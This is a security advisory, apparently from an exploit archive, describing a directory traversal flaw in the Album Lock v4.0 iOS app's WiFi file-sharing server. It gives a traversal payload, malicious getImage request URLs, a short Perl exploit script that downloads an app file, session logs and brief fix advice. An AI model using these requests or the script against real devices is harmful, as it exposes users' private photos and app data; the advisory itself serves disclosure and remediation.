Album Lock 4.0 iOS - Directory Traversal Vulnerability

Document Title:
===============
Album Lock v4.0 iOS - Directory Traversal Vulnerability

 
Product & Service Introduction:
===============================
Do you have any secret photo and videos in your iPhone? Album Lock can protect your privacy perfectly. Album is the most 
convenient private Photo&Video App!  You can add your SPECIAL photos&videos into AlbumLock, we provides many convenient ways. 
From Photo App(Camera Roll), iTunes File Sharing Sync, WiFi Transfer and in App Camera.
 
(Copy of the Homepage: https://itunes.apple.com/us/app/album-lock-lock-secret-photo/id851608952 )
 
 
 
Severity Level:
===============
High
 
 
Technical Details & Description:
================================
A directory traversal web vulnerability has been dsicovered in the official Album Lock v4.0 iOS mobile web-application.
The issue allows an attackers to unauthorized request and download local application files by manipulation of path parameters.
 
The directory traversal web vulnerability is located in the `filePaht` parameter of the wifi web-server interface. Remote attackers 
are able to request the local web-server during the sharing process to access unauthenticated application files. Attackers are able 
to request via `getObject` image path variables to access or download files. Remote attackers are able to access the root `document` 
path of the application. The request method to execute is GET and the attack vector is located on the client-side of the web-server 
web-application. Finally an attacker is able to access with the credentials the service by using a client via http protocol.
 
The security risk of the directory traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2. 
Exploitation of the web vulnerability requires no privilege web-application user account or user interaction. Successful exploitation of the 
vulnerability results in information leaking, mobile application compromise by unauthorized and unauthenticated access.
 
Request Method(s):
[+] GET
 
Vulnerable Module(s):
[+] getObject
 
Vulnerable Parameter(s):
[+] filePaht
 
Affected Module(s):
[+] Web-Server File System
 
 
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
 
 
Standard Request:
http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/._alias_images/fhhjjj/picture-00001.png
 
 
PoC: Payload
/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application
 
 
Malicious Request: Exploitation
http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/
http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/
http://localhost:8880/getImage?filePaht=/var/mobile/
 
 
PoC: Exploit
use strict;
use LWP::UserAgent;
my $b = LWP::UserAgent->new();
my $host = "1.1.1.1:5555";
print $b->get("http://".$host."/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/config.dat")->content;
 
 
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application 
Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8880]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Referer[http://localhost:8880/list_gif.html?folder=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
 
 
Reference(s):
http://localhost:8880/
http://localhost:8880/getImage
http://localhost:8880/getImage?filePaht=
http://localhost:8880/list_gif.html
http://localhost:8880/list_gif.html?folder=
 
 
Solution - Fix & Patch:
=======================
The vulnerability can be patch by disallowing the filepaht parameter to request upper local paths outside the document folder.
Include a whitelist of allowed requested path and setup a secure exception to prevent on exploitation.

#  0day.today [2018-02-19]  #